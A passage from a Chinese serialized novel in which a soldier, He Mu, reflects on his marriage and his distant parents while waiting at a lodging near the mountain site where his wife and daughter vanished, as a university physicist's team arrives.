旅馆,女孩每天来找他,带着他游览了那个著名的美丽城市,几天下来,两个人就定下了关系,一年后就结婚了。 当何牧告诉父母时,母亲听说秦莉从小没有母亲就有些不高兴。可架不住何牧喜欢,而且军人因为不常在家,婚姻艰难,就松口说“早点结婚生孩子也好”。 秦莉那边也很顺利,秦莉的父亲见了何牧根本没有提什么彩礼,只要求何牧对秦莉好,何牧自然满口承诺。让何牧有些气闷的是自己父母也没提,房子车什么的更没影儿。但何牧已经被教导成军人,自认是男子汉大丈夫,怎么能指望父母出钱给自己娶媳妇?何况秦莉是自己选的,不是母亲选的,母亲撂挑子也可以理解。 于是秦莉留在了她原来工作的一个沿海城市,没有搬到何牧父母所在地。秦莉学的是贸易,虽然不是重点大学毕业的,可也算是个专业人才,在一个国际贸易公司里办公。她的月薪五六千,外加奖金,有时比何牧都高。何牧自己的工资五千,军队里什么不缺,于是他只留几百块,余下的全数给秦莉转去。秦莉租了个两千多房子,离她的公司近还有海景。后来秦莉生了孩子,秦莉的父亲出钱请了月嫂和保姆,秦莉索性从单位办了停薪,在保姆的帮助下专心带娃。 这期间何牧的父母就跟陌生人一样,别说帮忙,张嘴说个漂亮话都没有。 两边倒是都挺客气,逢年过节也打个招呼,可秦莉从来不去婆家过年,总是回自己父亲的家中。而何牧在军队,也不常回父母家。 虽然没有撕破脸,但何牧知道秦莉不喜欢自己的父母。秦莉有次问过他,是不是自己的父母看不起她,也看不起她不会说话的女儿。何牧自然矢口否认,还反复强调了自己对秦莉的深厚感情。虽然当时秦莉笑了,何牧觉得秦莉其实没有改变对自己父母的看法。 何牧理解秦莉,他没法跟秦莉说,自己也觉得父母看不起自己。过去父母的高压他熬过来了,虽然陆锐也无数次骂过他,但他能承受陆锐的各种言辞,却再也不愿面对父母的一句批评。 女儿开始上幼儿园了,秦莉也恢复了工作,打扮得光鲜,人说都看不出她生过孩子。何牧经常抱歉自己不能陪伴秦莉,可秦莉总说有女儿作伴,她一点都不孤独。只是这次她因为一个梦就这么急切地带着女儿去深山中的寺庙,是不是也极度希望女儿能说话?不愿被自己的父母轻视? 何牧有种宿命的感觉:当初他的父亲没有接纳他的特点,强行改变了他,而他的母亲没有接纳秦莉。他以为自己不会有这种习惯,可实际上,他和秦莉也都没有真心接纳他们的女儿,总期待她能像正常孩子那样说话…… 何牧胸口胀痛,他到此时也没有和父母联系过。他现在别说不想听父母说什么,连他们的声音都受不了。下意识中,他把这些年父母对秦莉的种种都归结成了秦莉失踪的原因之一。他知道他在迁怒,但他就是这么想的。反正如果老婆孩子没了,他也不想活了!这就是他的退路! 他又问老王:“其他人的亲人呢?”老王是记者,知道的情况比自己多。 老王说道:“汽车的司机叫王大栋,开始他父母不信他失踪了,现在知道他失踪了,老两口都晕倒了,被送到医院,家里人都去照顾了。直播的女网播家在偏远山区,她还有个男朋友,这两家的人都没有到,不知道是他们是没有通知父母还是路太远人过不来。” 老王叹气:“说来,这里你是失踪者唯一一个亲属,我是唯一的单位领导呢。” 何牧忙说:“那您可跟那些人说好,有什么进展要马上通知我们。” 老王点头:“那当然。” 两个人说了会儿话才分开,何牧焦灼地来回走,天黑时分有大车过来把现场的人都拉到山下过夜,这里只留了几个人看守。何牧想留下,但想起陆锐说的自己要保护好身体,万一能去找她们呢,就听从老王的招呼上了车,不久就到了山下。 山下的村落边缘有一处原本是农家乐餐馆的二层小楼已经被征用了,外面停着各种车辆。一楼还是饭厅,二楼是住宿。因为床位不够,都是几个人一屋。何牧没有被分到与老王在一起,大概因为他是家属而老王是工作人员。 何牧找到自己的床位准备洗漱换衣服——早上他一到就下了石岩去寻找汽车痕迹,这套衣服被树枝杂草刮破好几处,外加被汗透后再风干,一股酸味,真没法穿了。何牧后知后觉地感谢老王,跟自己聊了半天没露出厌恶的神情,决定将老王当成个朋友。 他不知道老王干了一辈子记者,不知道与多少各色人等打过交道,为素材需要从对方口中套话,他的润物细无声已经炉火纯青——无论对方多么不妥,他都不会让对方感到难堪。 洗澡换衣后何牧去了一楼,这里供应了些很平常的饭食:炒饭炒面,两个青菜两个肉。何牧强迫自己吃了些东西,听到外面一阵人声,接着呼啦啦进来了一群人。 几个人穿着与老王同样款式只是颜色不同的中年夹克,他们在前面热情地引路,后面是走来一个穿了深蓝色套头线衣的胖子老者,旁边有个看着像是行政的中年人,然后是一帮提着箱子扛着杆子的青年。 何牧听着有人说:“韩教授,请先吃个饭,楼上已经正在准备房间……” 这就是大学来的物理学家了!何牧振作精神,远远地盯着,想好好记住这些人的面孔,明天能去搭话,现在这么多人在旁边看着有些难。